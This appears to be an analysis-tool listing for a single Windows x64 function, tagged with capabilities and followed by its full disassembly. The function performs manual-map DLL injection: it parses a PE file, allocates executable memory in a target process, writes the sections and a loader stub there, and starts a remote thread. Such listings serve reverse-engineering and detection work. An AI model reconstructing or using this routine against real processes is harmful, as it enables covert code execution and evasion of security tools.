Function at 0x180002520
Capabilities:
Allocate or change rwx memory
Check if file exists
Create thread
Get file attributes
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x90]
sub rsp, 0x190
mov rax, qword [0x18000a040]
xor rax, rsp
mov qword [rbp + 0x88], rax
mov rbx, rdx
mov r15, rcx
call fcn.180002210
test al, al
jne 0x180002569
mov eax, 0xffffffff
jmp 0x1800028f4
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x1800025c2
mov rcx, qword [0x18000a968]
call qword [sym.imp.KERNEL32.dll_RemoveVectoredExceptionHandler]
test eax, eax
je 0x180002598
lea rdx, str.___Cleaned_up_the_exception_handler.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
jmp 0x1800025a6
lea rdx, str.____Failed_to_clean_up_the_exception_handler.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.180003d20
lea rdx, [0x180003ef0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor eax, eax
jmp 0x1800028f4
xor edx, edx
mov r8d, 0x110
lea rcx, [rsp + 0x60]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.180003840
nop
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x60]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::fail_void_const___ptr64]
test al, al
je 0x180002652
lea rcx, [rsp + 0x70]
call fcn.180003bf0
test rax, rax
jne 0x18000262a
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x60]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov rcx, qword [0x18000a968]
call qword [sym.imp.KERNEL32.dll_RemoveVectoredExceptionHandler]
test eax, eax
je 0x1800028a2
lea rdx, str.___Cleaned_up_the_exception_handler.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
jmp 0x1800028b0
lea rdx, [rbp + 0x70]
lea rcx, [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____cdecl_std::basic_istream_char__struct_std::char_traits_char__::tellg_void____ptr64]
mov rcx, qword [rbp + 0x70]
add rcx, qword [rbp + 0x78]
cmp rcx, 0x1000
jl 0x1800025fd
call fcn.1800042b0
mov rdi, rax
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int____ptr64]
mov r8, qword [rbp + 0x78]
add r8, qword [rbp + 0x70]
mov rdx, rdi
lea rcx, [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::read_char____ptr64__long_long___int64_____ptr64]
lea rcx, [rsp + 0x70]
call fcn.180003bf0
test rax, rax
jne 0x1800026cd
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x60]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov eax, 0x5a4d
cmp word [rdi], ax
je 0x1800026e4
mov rcx, rdi
call fcn.180004240
jmp 0x18000262a
movsxd rsi, dword [rdi + 0x3c]
add rsi, rdi
mov eax, 0x8664
cmp word [rsi + 4], ax
je 0x180002703
mov rcx, rdi
call fcn.180004240
jmp 0x18000262a
xor r13d, r13d
mov qword [rsp + 0x50], r13
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x40], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x48], rax
mov r8d, dword [rsi + 0x50]
add r8, 0x18
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r12, rax
test rax, rax
jne 0x180002759
mov rcx, rdi
call fcn.180004240
jmp 0x1800028c6
mov r9d, dword [rsi + 0x54]
mov qword [rsp + 0x20], r13
mov r8, rdi
mov rdx, r12
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x18000262a
movzx ebx, word [rsi + 0x14]
add rbx, 0x28
mov r14d, r13d
cmp word [rsi + 6], r13w
je 0x1800027c8
add rbx, rsi
nop
mov eax, dword [rbx]
test eax, eax
je 0x1800027b8
mov r9d, eax
mov r8d, dword [rbx + 4]
add r8, rdi
mov edx, dword [rbx - 4]
add rdx, r12
mov qword [rsp + 0x20], r13
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180002823
inc r14d
add rbx, 0x28
movzx eax, word [rsi + 6]
cmp r14d, eax
jne 0x180002790
mov edx, dword [rsi + 0x50]
add rdx, r12
mov qword [rsp + 0x20], r13
mov r9d, 0x18
lea r8, [rsp + 0x40]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, rdi
call fcn.180004240
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x1000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
jne 0x180002845
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x18000262a
mov rcx, rdi
call fcn.180004240
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r12
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x18000262a
mov qword [rsp + 0x20], r13
mov r9d, 0x1000
lea r8, [0x1800029e0]
mov rdx, rdi
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r12
mov r9, rdi
xor r8d, r8d
xor edx, edx
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rbx, rax
test rax, rax
jne 0x1800028d4
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x18000282b
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.____Failed_to_clean_up_the_exception_handler.
call fcn.180003d20
lea rdx, [0x180003ef0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rsp + 0x60]
call fcn.180002920
xor eax, eax
jmp 0x1800028f4
lea rcx, str.___Loading_routine_successfully_completed._Cleaning_up__n
call fcn.180001020
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rsp + 0x60]
call fcn.180002920
mov rcx, qword [rbp + 0x88]
xor rcx, rsp
call fcn.180004220
mov rbx, qword [rsp + 0x1e0]
add rsp, 0x190
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret